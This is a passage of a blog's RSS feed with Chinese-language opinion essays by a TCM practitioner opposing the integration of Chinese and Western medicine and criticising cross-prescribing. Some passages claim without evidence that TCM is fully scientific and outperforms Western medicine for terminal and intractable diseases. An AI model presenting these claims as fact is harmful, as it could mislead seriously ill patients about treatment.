總之，目前在中醫業界，存在著許許多多的“迷思”，筆者以爲，這麽多的迷思雖然表現各異，但可以歸根到一點，就是傳統中醫學術理念的迷失。我們許多中醫業者願意削足適履的目的雖然不盡相同，但是從中可以看到一個最簡單的問題，那就是這些人缺乏嚴謹的[中醫頭腦]。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
身為中醫業者，卻不敢相信自己所從事專業學術結構的科學性，不敢信賴自己所從事專業各種療法的臨床效用，不懂得借用自己的學術優勢來挑戰臨床疑難雜症與絕症，甚至看不清自己所從事專業的科學價值與社會價值，這的確是一種悲哀。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
也正是由於上述諸多的“迷失”，使得許多中醫業者對於中醫事業的前景並不看好，使得許多中醫業者企圖投靠西醫以保住自己的飯碗，於是，甘當附庸者有之，變傳統中醫業者為[中西醫結合]者有之，甚則投身“廢除中醫”陣營者也有之。然而應該明白，這一切都是負面的，其對於中醫事業不但有害，就是對於自己個人也不會有著多大的幫助。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
如其彆彆扭扭地活得這麽辛苦，遠不如離開中醫行業另尋一份其他工作為好，中醫業者如若不能全身心地投入，如若不能具備堅實的[中醫頭腦]，絕對永遠做不好一個好的傳統中醫師。365行，行行可以出狀元，歷代多少著名中醫師都是辛苦奮鬥出來的，那種削足適履的投機心態與做法是不可能成功的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
上述顯示，任何借助西醫的學術思維理念與診治技術來改造中醫學說的企圖都是有害的，以害養生終爲害，其對於中醫頭腦的衝擊是相當嚴重的。筆者以爲，中醫事業淪落到如此地步，應該與許多中醫專業人士的這種削足適履的不良心態息息相關。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上難以數計的成功的中醫臨床案例已經清楚地顯示，中醫學說完全能夠勝任自己的基本專業職能，而且在某些“疑難雜症”、“絕症”、“新型疾病”的診治過程中甚至優於西醫臨床，這是不容否認的客觀事實。要不然，許多西醫業者在並不理解、或者瞧不起中醫的心態之下還爭著使用中醫藥療法，其原因就是他們知道對於某些疾病，中醫藥療法的臨床療效好過西醫療法；而所謂的[中西醫結合]論者也就是由於看重中醫藥的臨床療效，才會如此賣力地提倡所謂的[中西醫結合]。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
所以說，中醫學說根本就不存在“不科學”的問題，也無須借助西醫學識來改進中醫療法，我們中醫業者必須昂起頭來，掌握好自己的專業知識，以自己精湛的醫療技術來博取社會的承認，同時以顯著的臨床療效來顯示中醫療法在某些領域甚至比西醫更具學術優勢。（完）</span></p>
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		<title>削足適履的迷思</title>
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		<pubDate>Mon, 24 Aug 2009 03:30:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
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		<description><![CDATA[華夏中醫 吳侃陽中醫師 ● 借助現代科技幫助的迷思 可以說，從惲鐵樵中醫師所提倡的“中西醫匯通”，到近代的[中西醫結合]，其所具備的特色都是強調中醫應該借鑑西醫的學術優勢來促進發展。表面看來，這種借鑑思維具有相當大的實質意義，但在實際運作過程中，不可避免地會導致出現“中醫西醫化”的傾向；只不過由於中西醫之間存在著不可逾越的學術思維障礙，因而其結果必然導致中西醫學術思維的混亂而影響到中醫事業的發展。 借用現代科技發展的成果存在著兩種做法：其一、堅持中醫的思維理念與學術結構，借用現代科技成果來改進中醫臨床的治療設備以及中藥劑型。其二、放棄中醫的固有學術規律，向西醫靠攏，並將中醫療法融入西醫學術範疇之中而成爲“仿中醫療法”。事實上，這兩種做法同時都在進行，只不過後者所造成的聲勢與影響遠遠大過前者。 我們知道，中醫的針具等器材一直都在隨著時代的發展而改進，譬如遠古的石針、骨針發展到銀針，而現代的不銹鋼針也已經採用一次性的使用形式。再如火罐的發展也經歷竹罐、陶罐、玻璃罐而演變爲當代的抽氣罐。電針儀的使用簡化了臨床捻針的負擔，雖然有可能影響到傳統捻針手法的傳承，但還是由於能夠增強針刺療效而被許多中醫師所接受。顯然，上述這些器具的演變證實著社會發展對於臨床中醫的影響。 還有，衆所周知，中藥的湯劑比較難以讓人接受，尤其是現代人與非華人群體，中藥的味道常常會讓人們退避三舍。社會的發展催生著中醫藥劑型的發展，於是，所謂的“科學中藥”出現了，這種劑型的出現應該説是相對地提高了人們接受中藥治療的程度。 所謂的“科學中藥”是指人們利用現代科技設備將中藥飲片進行非化學方式的提取，如同湯劑固態化一般。聽説中國大陸有某些中醫人士對於“科學中藥”採取排斥的態度，以爲這種藥物提取劑型背離了中醫藥的使用方式。 筆者以爲這是一種偏見。背離中醫藥傳統使用方式的不是“科學中藥”，是[中西醫結合]過程中所出現的中藥“有效成分”的提取、中藥採用注射製劑模式的運用等等，這些做法都違背著中藥臨床的使用規律，傳統中醫業者都應該予以抵制。 但是“科學中藥”並非“有效成分”，它與傳統的湯劑並沒有多大區別；只是在較爲潮濕的地區，這種劑型比較容易潮化而影響到臨床使用。事實上，“科學中藥”雖然在劑型上作出了較大的改變，但其並沒有脫離中藥的臨床使用規範，仍然具備有“四氣”、“五味”等特性，仍然必須遵循中藥的臨床使用規則。 人們常常會懷疑“科學中藥”有效性的問題。應該明白，臨床中藥有效性的問題，應該取決於[藥證相符]的程度。一般來説，如若藥證不符，就是用一籮筐中藥也不會見效；如若藥證相符，哪怕只是一點點中藥也會見到很好的療效。經過筆者十餘年的臨床運用證實，“科學中藥”的有效性是值得肯定的。 我們知道，“有效成分”的提取物並不屬於中藥範疇，因爲其已經不具備“四氣”、“五味”的學術特性；而魚腥草注射製劑也不應該屬於中藥範疇，因爲其使用方式已經脫離了中藥的給葯方式。上述表明，“科學中藥”既保持著中藥的特性以及傳統的服用方式，又大大地改變了中藥難以服用的特點，其對於中醫臨床有著較大的促進作用。 利用現代科技宣傳傳統中醫學術理念，傳播相關的傳統中醫學術信息，這些都應該被稱作是中醫的“現代化”與“科學化”，但這種傳播與宣傳絕不屬於“中醫西醫化”，中醫的學術結構並沒有由此而受到歪曲與肢解。筆者也在自己的網站中常常發表自己對於中醫學說的膚淺見解，向廣大讀者宣傳著傳統的中醫學術理念。 筆者以爲，上述這類做法纔是屬於中醫業者所應該遵循的正確做法，借用時代科技發展的成果來促進中醫事業的發展，這是中醫業者跟上時代發展所應該走的重要步驟。但其關鍵之處在於，中醫專業在追求現代化時，絕不能將中醫的學術精髓理論給化掉，僅僅只是留下簡單的操作療法；臨床療效也已經顯示，離開了中醫基礎理論指導的“仿中醫療法”是不可能取得預期的臨床療效的。 關於第二种做法，應該屬於那些[中西醫結合]論者所走的路。他們以爲放棄中醫的固有學術規律，並將中醫療法融入西醫學術範疇之中就能夠使得中醫現代化，就能夠發展中醫的學術優勢。 筆者以爲，由於中西醫之間存在著顯著的學術思維差異，所謂的[中西醫結合]將永遠突破不了“虛”與“實”之間的瓶頸；也就是說，在還原論與整體論之間，不可能找出兩全其美的折中方案。將中醫藥療法納入西醫的學術範疇而成爲“仿中醫療法”，這在西醫臨床還沒有找到有效療法的時候不乏為一種選擇；或許這種做法在少數特殊案例的治療過程中能夠得到某些小小的收穫，但從整體來看，根本就難以形成具有穩定療效的、有著臨床價值的、值得廣泛推廣的治療手段。 一般來説，[中西醫結合]論在西醫業界内難以找到合適的市場，真正的西醫業者是不會接受這種東拼西湊的“騾子醫學”思維的，因而人們只得將主要目標鎖定的中醫專業之内。他們鼓起如簧之舌，硬要把[中西醫結合]的陳詞濫調說成是中醫現代化的唯一出路，千方百計在中醫專業之内推行[中西醫結合]，以致將中醫業界的學術思維搞得如此烏煙瘴氣，一派混亂。 嚴格説來，[中西醫結合]所要做的，只是想將中醫藥療法納入到“科學”的西醫學術體系之中，也就是說，他們所追求的只是將科學的西醫理論與有效的中醫藥療法採用包辦形式的婚姻結合，形成一種所謂的“新醫學”。 不過從學術的角度來看，這也不是什麽建立新醫學的創舉，頂多只能認爲是給西醫多找了一種新的療法&#8212;-“仿中醫療法”而已。既然如此，所謂[中西醫結合]要做的應該屬於西醫範疇之内的事情，應該說與中醫專業毫無關係。 事實也證實，[中西醫結合]經過千辛萬苦的淘汰與選擇，終於為西醫藥庫充實了青蒿素、黃連素、麻黃素之類的藥物；也為西醫臨床找到了某些特效穴位與特效方劑，從而充實了西醫臨床的治療手段。當然，這也可以算作是他們[結合]的辛苦業績。 不過要說[中西醫結合]是中醫學說的歸屬的確實有點言過其實，二者的關係完全是風馬牛不相及。諸多臨床事實所顯示的恰恰相反，仿中醫療法的出現導致中醫藥中毒的臨床醫療事故正在不斷地攀升，將中藥製成西醫製劑進行靜脈滴注常常使得患者出現諸多不適反應，中西醫學術概念的混淆使得人們自行濫用中藥而導致腎衰竭等中毒現象時有發生。而中醫學説的發展始終因循著自己的學術規律，並不是人爲的裝驢子扮馬就能這麽輕易地解決的。 上述表明，中醫藥療法的臨床運用存在著中醫藥學說的嚴格規範，只能遵循中醫的學術理論運用纔是安全的，那種隨意將中醫藥療法納入西醫學術體系的做法是不負責任的非學術性行爲，因爲非中醫業者胡亂使用中醫藥很容易出現臨床醫療事故。 此外，[中西醫結合]不宜在中醫業界推行，因爲多數中醫業者既不是真正懂得西醫的專業學術理論，也不擁有相關的檢驗設施，很難準確地知悉中醫藥療法對於患者檢驗數據變化上的相關作用。因而他們唯一能夠為[中西醫結合]所做的事情，就只能是跟在[中西醫結合]論者的屁股後面搖旗呐喊而已。以“科學”的名義在中醫專業人員中招降納叛，以混淆中西醫學術思維概念的方式來推銷[中西醫結合]論，直至最終癱瘓中醫藥療法，這就是[中西醫結合]的學術“精髓”之所在。 筆者以爲，如若在西醫學術範圍之内推銷“仿中醫療法”，以增加西醫臨床的治病手段，那是西醫内部的事情，筆者無所置評。而那種勸諭中醫業者放棄中醫的學術理念、轉而投身西醫學術陣營的做法，當然就不可能是為著發展中醫事業，而是對於中醫事業的嚴重傷害。 總之，借用現代科技發展的成果發展中醫存在著兩種完全相反的做法：傳統的中醫業者必然會堅持中醫的思維理念與學術結構，借用現代科技成果來宣傳中醫的學術理念、改進治療設備以及中藥劑型；這是發揚光大中醫事業的康莊大道，這種做法才可以稱作是“與時俱進”。 而[中西醫結合]論者鼓動中醫業者放棄中醫的固有學術規律，向西醫靠攏，以便將中醫療法融入西醫學術範疇之中；其結果必然會在埋葬中醫專業的同時，埋葬[中西醫結合]自己。顯然，抛棄中醫學術理論，而使得失去靈魂的中醫藥療法歸屬於西醫的學術範疇；這種形式上的“科學化”對於中醫來説根本就不是與時俱進，而是使中醫學説失去合理的傳統學術規律，也就是在泯滅中醫。（待續）]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><strong>華夏中醫 吳侃陽中醫師</strong><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
●	<strong>借助現代科技幫助的迷思</strong><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
可以說，從惲鐵樵中醫師所提倡的“中西醫匯通”，到近代的[中西醫結合]，其所具備的特色都是強調中醫應該借鑑西醫的學術優勢來促進發展。表面看來，這種借鑑思維具有相當大的實質意義，但在實際運作過程中，不可避免地會導致出現“中醫西醫化”的傾向；只不過由於中西醫之間存在著不可逾越的學術思維障礙，因而其結果必然導致中西醫學術思維的混亂而影響到中醫事業的發展。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
借用現代科技發展的成果存在著兩種做法：其一、堅持中醫的思維理念與學術結構，借用現代科技成果來改進中醫臨床的治療設備以及中藥劑型。其二、放棄中醫的固有學術規律，向西醫靠攏，並將中醫療法融入西醫學術範疇之中而成爲“仿中醫療法”。事實上，這兩種做法同時都在進行，只不過後者所造成的聲勢與影響遠遠大過前者。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們知道，中醫的針具等器材一直都在隨著時代的發展而改進，譬如遠古的石針、骨針發展到銀針，而現代的不銹鋼針也已經採用一次性的使用形式。再如火罐的發展也經歷竹罐、陶罐、玻璃罐而演變爲當代的抽氣罐。電針儀的使用簡化了臨床捻針的負擔，雖然有可能影響到傳統捻針手法的傳承，但還是由於能夠增強針刺療效而被許多中醫師所接受。顯然，上述這些器具的演變證實著社會發展對於臨床中醫的影響。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
還有，衆所周知，中藥的湯劑比較難以讓人接受，尤其是現代人與非華人群體，中藥的味道常常會讓人們退避三舍。社會的發展催生著中醫藥劑型的發展，於是，所謂的“科學中藥”出現了，這種劑型的出現應該説是相對地提高了人們接受中藥治療的程度。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
所謂的“科學中藥”是指人們利用現代科技設備將中藥飲片進行非化學方式的提取，如同湯劑固態化一般。聽説中國大陸有某些中醫人士對於“科學中藥”採取排斥的態度，以爲這種藥物提取劑型背離了中醫藥的使用方式。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲這是一種偏見。背離中醫藥傳統使用方式的不是“科學中藥”，是[中西醫結合]過程中所出現的中藥“有效成分”的提取、中藥採用注射製劑模式的運用等等，這些做法都違背著中藥臨床的使用規律，傳統中醫業者都應該予以抵制。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
但是“科學中藥”並非“有效成分”，它與傳統的湯劑並沒有多大區別；只是在較爲潮濕的地區，這種劑型比較容易潮化而影響到臨床使用。事實上，“科學中藥”雖然在劑型上作出了較大的改變，但其並沒有脫離中藥的臨床使用規範，仍然具備有“四氣”、“五味”等特性，仍然必須遵循中藥的臨床使用規則。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
人們常常會懷疑“科學中藥”有效性的問題。應該明白，臨床中藥有效性的問題，應該取決於[藥證相符]的程度。一般來説，如若藥證不符，就是用一籮筐中藥也不會見效；如若藥證相符，哪怕只是一點點中藥也會見到很好的療效。經過筆者十餘年的臨床運用證實，“科學中藥”的有效性是值得肯定的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們知道，“有效成分”的提取物並不屬於中藥範疇，因爲其已經不具備“四氣”、“五味”的學術特性；而魚腥草注射製劑也不應該屬於中藥範疇，因爲其使用方式已經脫離了中藥的給葯方式。上述表明，“科學中藥”既保持著中藥的特性以及傳統的服用方式，又大大地改變了中藥難以服用的特點，其對於中醫臨床有著較大的促進作用。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
利用現代科技宣傳傳統中醫學術理念，傳播相關的傳統中醫學術信息，這些都應該被稱作是中醫的“現代化”與“科學化”，但這種傳播與宣傳絕不屬於“中醫西醫化”，中醫的學術結構並沒有由此而受到歪曲與肢解。筆者也在自己的網站中常常發表自己對於中醫學說的膚淺見解，向廣大讀者宣傳著傳統的中醫學術理念。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，上述這類做法纔是屬於中醫業者所應該遵循的正確做法，借用時代科技發展的成果來促進中醫事業的發展，這是中醫業者跟上時代發展所應該走的重要步驟。但其關鍵之處在於，中醫專業在追求現代化時，絕不能將中醫的學術精髓理論給化掉，僅僅只是留下簡單的操作療法；臨床療效也已經顯示，離開了中醫基礎理論指導的“仿中醫療法”是不可能取得預期的臨床療效的。<span id="more-298"></span><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
關於第二种做法，應該屬於那些[中西醫結合]論者所走的路。他們以爲放棄中醫的固有學術規律，並將中醫療法融入西醫學術範疇之中就能夠使得中醫現代化，就能夠發展中醫的學術優勢。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，由於中西醫之間存在著顯著的學術思維差異，所謂的[中西醫結合]將永遠突破不了“虛”與“實”之間的瓶頸；也就是說，在還原論與整體論之間，不可能找出兩全其美的折中方案。將中醫藥療法納入西醫的學術範疇而成爲“仿中醫療法”，這在西醫臨床還沒有找到有效療法的時候不乏為一種選擇；或許這種做法在少數特殊案例的治療過程中能夠得到某些小小的收穫，但從整體來看，根本就難以形成具有穩定療效的、有著臨床價值的、值得廣泛推廣的治療手段。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
一般來説，[中西醫結合]論在西醫業界内難以找到合適的市場，真正的西醫業者是不會接受這種東拼西湊的“騾子醫學”思維的，因而人們只得將主要目標鎖定的中醫專業之内。他們鼓起如簧之舌，硬要把[中西醫結合]的陳詞濫調說成是中醫現代化的唯一出路，千方百計在中醫專業之内推行[中西醫結合]，以致將中醫業界的學術思維搞得如此烏煙瘴氣，一派混亂。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
嚴格説來，[中西醫結合]所要做的，只是想將中醫藥療法納入到“科學”的西醫學術體系之中，也就是說，他們所追求的只是將科學的西醫理論與有效的中醫藥療法採用包辦形式的婚姻結合，形成一種所謂的“新醫學”。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
不過從學術的角度來看，這也不是什麽建立新醫學的創舉，頂多只能認爲是給西醫多找了一種新的療法&#8212;-“仿中醫療法”而已。既然如此，所謂[中西醫結合]要做的應該屬於西醫範疇之内的事情，應該說與中醫專業毫無關係。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實也證實，[中西醫結合]經過千辛萬苦的淘汰與選擇，終於為西醫藥庫充實了青蒿素、黃連素、麻黃素之類的藥物；也為西醫臨床找到了某些特效穴位與特效方劑，從而充實了西醫臨床的治療手段。當然，這也可以算作是他們[結合]的辛苦業績。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
不過要說[中西醫結合]是中醫學說的歸屬的確實有點言過其實，二者的關係完全是風馬牛不相及。諸多臨床事實所顯示的恰恰相反，仿中醫療法的出現導致中醫藥中毒的臨床醫療事故正在不斷地攀升，將中藥製成西醫製劑進行靜脈滴注常常使得患者出現諸多不適反應，中西醫學術概念的混淆使得人們自行濫用中藥而導致腎衰竭等中毒現象時有發生。而中醫學説的發展始終因循著自己的學術規律，並不是人爲的裝驢子扮馬就能這麽輕易地解決的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
上述表明，中醫藥療法的臨床運用存在著中醫藥學說的嚴格規範，只能遵循中醫的學術理論運用纔是安全的，那種隨意將中醫藥療法納入西醫學術體系的做法是不負責任的非學術性行爲，因爲非中醫業者胡亂使用中醫藥很容易出現臨床醫療事故。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
此外，[中西醫結合]不宜在中醫業界推行，因爲多數中醫業者既不是真正懂得西醫的專業學術理論，也不擁有相關的檢驗設施，很難準確地知悉中醫藥療法對於患者檢驗數據變化上的相關作用。因而他們唯一能夠為[中西醫結合]所做的事情，就只能是跟在[中西醫結合]論者的屁股後面搖旗呐喊而已。以“科學”的名義在中醫專業人員中招降納叛，以混淆中西醫學術思維概念的方式來推銷[中西醫結合]論，直至最終癱瘓中醫藥療法，這就是[中西醫結合]的學術“精髓”之所在。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，如若在西醫學術範圍之内推銷“仿中醫療法”，以增加西醫臨床的治病手段，那是西醫内部的事情，筆者無所置評。而那種勸諭中醫業者放棄中醫的學術理念、轉而投身西醫學術陣營的做法，當然就不可能是為著發展中醫事業，而是對於中醫事業的嚴重傷害。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
總之，借用現代科技發展的成果發展中醫存在著兩種完全相反的做法：傳統的中醫業者必然會堅持中醫的思維理念與學術結構，借用現代科技成果來宣傳中醫的學術理念、改進治療設備以及中藥劑型；這是發揚光大中醫事業的康莊大道，這種做法才可以稱作是“與時俱進”。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
而[中西醫結合]論者鼓動中醫業者放棄中醫的固有學術規律，向西醫靠攏，以便將中醫療法融入西醫學術範疇之中；其結果必然會在埋葬中醫專業的同時，埋葬[中西醫結合]自己。顯然，抛棄中醫學術理論，而使得失去靈魂的中醫藥療法歸屬於西醫的學術範疇；這種形式上的“科學化”對於中醫來説根本就不是與時俱進，而是使中醫學説失去合理的傳統學術規律，也就是在泯滅中醫。（待續）</span></p>
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		<title>削足適履的迷思</title>
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		<pubDate>Mon, 24 Aug 2009 03:25:52 +0000</pubDate>
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		<description><![CDATA[華夏中醫 吳侃陽中醫師 ● 中醫師可以開西藥，西醫師可以開中藥的困惑與迷思 在中國有個習以爲常、而又很奇怪的臨床醫療現象，就是中西醫醫生的臨床診治行爲已經達到基本融合、混淆不分的地步。仿佛只要是國家承認資格的醫生，就都能夠使用中西醫的所有療法。這個現象在美國是絕對不允許的，因爲法律規定，只有執照西醫醫生才能夠使用西藥。 事實上這是一個非常嚴重的問題，這種醫學學術的混亂局面既會干擾中西醫各自的學術發展，同時也會由於醫者的失誤而導致臨床醫療事故的發生。 顯然，在[中西醫結合]思維的學術干擾之下，醫學學術的嚴肅性被徹底破壞掉了，那些根本就不懂得中醫的西醫醫生可以打著[中西醫結合]的旗號隨便開出中藥處方，而那些對於西醫知識一知半解的中醫醫生也可以隨便使用西藥、或將西藥摻入中藥中使用。在目前的醫療政策主導之下，似乎只要是國家認可的醫生，就都必然具有臨床使用中西藥的權利，這是何等地荒唐？！ 在美國，中醫師是不允許使用西藥的，因爲中醫師還不屬於“DOCTOR”。不過這並不説明美國的這種規定符合學術規律，它存在著另外一個反向問題，就是容許不懂得中醫學說的西醫醫生能夠合法地使用中醫藥療法，從而導致多起中藥中毒醫療事故的發生。 由於美國還沒有承認中醫藥屬於另類醫學體系，沒有法律規定中藥只能屬於中醫師專門使用，而將中藥歸屬於食品類管理，所以幾乎所有的人（包括西醫醫生）都自然具有使用中藥的權力，而且既為食品，當然就不允許存在毒性，於是含有毒性的所有中藥都屬於禁用之列。 而且在美國，法律規定醫學就等於西醫，如若將中藥納入藥物管理，中醫師由於不是“DOCTOR”，也就自然失去使用被納入藥物管理的中藥的權利。當然，針灸療法也認爲屬於一種臨床療法，西醫醫生也就理所當然地能夠使用。 顯然，上述這種規定很不合理，也存在著諸多臨床隱患，但這是法律，如若要改變，就只能通過立法來確認中醫學說有別於西醫的專門學術地位，必須通過立法來確認中醫藥療法只能屬於中醫業者專用，沒有通過系統的中醫專業學習的任何人（包括西醫）都不得隨意運用。 美國的醫藥市場管理得比較嚴格，只有完成醫學博士學位者才能通過考試拿到執照，沒有行醫執照而行醫者屬於違法，被抓到後會受到法律制裁。當然作爲一門嚴肅的醫學學科，西醫有著許多學術知識需要掌握，沒有掌握法定的西醫學術知識，對於人類的健康極具危險性。所以說這類管理是必須的。 但是在中國，中醫院校的課程有著比較淺顯的西醫學科，如解剖學、生理學、病理學、藥理學、藥化學、内科學等等，這些西醫學科僅僅只佔5年必修學科的一半，也就是說，通過短短的2年多時間的學習，中醫師就有資格進行西醫臨床運作。 可以說這是一件非常令人恐怖的事情，美國的西醫必須通過7年的專業學習時間，中國的西醫醫生必須通過5年的專業學習時間，而中國中醫院校的學生只需要2年的專業學習時間就可以獲得西藥的使用資格，即使是天才也莫過如此。 而且，西醫院校學生的中醫學習課程相對少得多，也就是說，這些學生畢業之後，天生聰明到對於中醫學說可以達到無師自通的地步。在中國與美國，臨床西醫醫生都可以自由使用中醫藥療法，即使出了臨床醫療事故，那也只是中醫藥療法本身存在的問題。可見命懸一線的患者是多麽地可憐。 西醫醫生使用中藥，猶如使用西藥一樣，他們既不懂得中藥的“四氣”“五味”藥物特性，也不懂得“八綱辨證”等診斷規律，因而不可能依據中醫藥學術理論指導用藥。所以，他們只是把中藥當作西藥臨床施用。譬如，他們有些人將龍膽瀉肝丸用來降低血壓，但他們不知道西醫的降壓藥可以長期服用，而龍膽瀉肝丸長期服用會要命的。 顯然，中西醫藥品的臨床使用都有著自己的學術規範，不懂得中西藥的使用規範而隨意濫用，必然會導致臨床醫療事故的發生。事實上幾十年[中西醫結合]以來，中藥中毒的醫療事故頻頻發生，甚至連不起眼的魚腥草也由於改成西醫的注射製劑而出現毒副作用。 可是，人們都只會將目光放在中藥的毒性成分上，卻絲毫沒有考慮到中西醫學術混淆給人類帶來何種傷害。作爲一種獨特的臨床醫學，如若沒有法律的規範，如此輕率地被人隨意施用，這不能不說屬於草菅人命。 總之，亂用中醫藥療法的問題不僅在中國如此，在美國也是如此；中醫藥療法只能屬於具備中醫學識的中醫業者專用，只有法律規範不具備中醫學識者不能使用中藥，中藥中毒的醫療事故纔有可能基本杜絕。當然，中國的中醫師也不應該享有西藥的處方權，因爲那點半拉子西醫學識，同樣也會導致西藥中毒的醫療事故發生。（待續）]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><strong>華夏中醫 吳侃陽中醫師</strong><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
●	<strong>中醫師可以開西藥，西醫師可以開中藥的困惑與迷思</strong><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
在中國有個習以爲常、而又很奇怪的臨床醫療現象，就是中西醫醫生的臨床診治行爲已經達到基本融合、混淆不分的地步。仿佛只要是國家承認資格的醫生，就都能夠使用中西醫的所有療法。這個現象在美國是絕對不允許的，因爲法律規定，只有執照西醫醫生才能夠使用西藥。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上這是一個非常嚴重的問題，這種醫學學術的混亂局面既會干擾中西醫各自的學術發展，同時也會由於醫者的失誤而導致臨床醫療事故的發生。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
顯然，在[中西醫結合]思維的學術干擾之下，醫學學術的嚴肅性被徹底破壞掉了，那些根本就不懂得中醫的西醫醫生可以打著[中西醫結合]的旗號隨便開出中藥處方，而那些對於西醫知識一知半解的中醫醫生也可以隨便使用西藥、或將西藥摻入中藥中使用。在目前的醫療政策主導之下，似乎只要是國家認可的醫生，就都必然具有臨床使用中西藥的權利，這是何等地荒唐？！<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
在美國，中醫師是不允許使用西藥的，因爲中醫師還不屬於“DOCTOR”。不過這並不説明美國的這種規定符合學術規律，它存在著另外一個反向問題，就是容許不懂得中醫學說的西醫醫生能夠合法地使用中醫藥療法，從而導致多起中藥中毒醫療事故的發生。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
由於美國還沒有承認中醫藥屬於另類醫學體系，沒有法律規定中藥只能屬於中醫師專門使用，而將中藥歸屬於食品類管理，所以幾乎所有的人（包括西醫醫生）都自然具有使用中藥的權力，而且既為食品，當然就不允許存在毒性，於是含有毒性的所有中藥都屬於禁用之列。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
而且在美國，法律規定醫學就等於西醫，如若將中藥納入藥物管理，中醫師由於不是“DOCTOR”，也就自然失去使用被納入藥物管理的中藥的權利。當然，針灸療法也認爲屬於一種臨床療法，西醫醫生也就理所當然地能夠使用。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
顯然，上述這種規定很不合理，也存在著諸多臨床隱患，但這是法律，如若要改變，就只能通過立法來確認中醫學說有別於西醫的專門學術地位，必須通過立法來確認中醫藥療法只能屬於中醫業者專用，沒有通過系統的中醫專業學習的任何人（包括西醫）都不得隨意運用。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
美國的醫藥市場管理得比較嚴格，只有完成醫學博士學位者才能通過考試拿到執照，沒有行醫執照而行醫者屬於違法，被抓到後會受到法律制裁。當然作爲一門嚴肅的醫學學科，西醫有著許多學術知識需要掌握，沒有掌握法定的西醫學術知識，對於人類的健康極具危險性。所以說這類管理是必須的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
但是在中國，中醫院校的課程有著比較淺顯的西醫學科，如解剖學、生理學、病理學、藥理學、藥化學、内科學等等，這些西醫學科僅僅只佔5年必修學科的一半，也就是說，通過短短的2年多時間的學習，中醫師就有資格進行西醫臨床運作。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
可以說這是一件非常令人恐怖的事情，美國的西醫必須通過7年的專業學習時間，中國的西醫醫生必須通過5年的專業學習時間，而中國中醫院校的學生只需要2年的專業學習時間就可以獲得西藥的使用資格，即使是天才也莫過如此。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
而且，西醫院校學生的中醫學習課程相對少得多，也就是說，這些學生畢業之後，天生聰明到對於中醫學說可以達到無師自通的地步。在中國與美國，臨床西醫醫生都可以自由使用中醫藥療法，即使出了臨床醫療事故，那也只是中醫藥療法本身存在的問題。可見命懸一線的患者是多麽地可憐。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
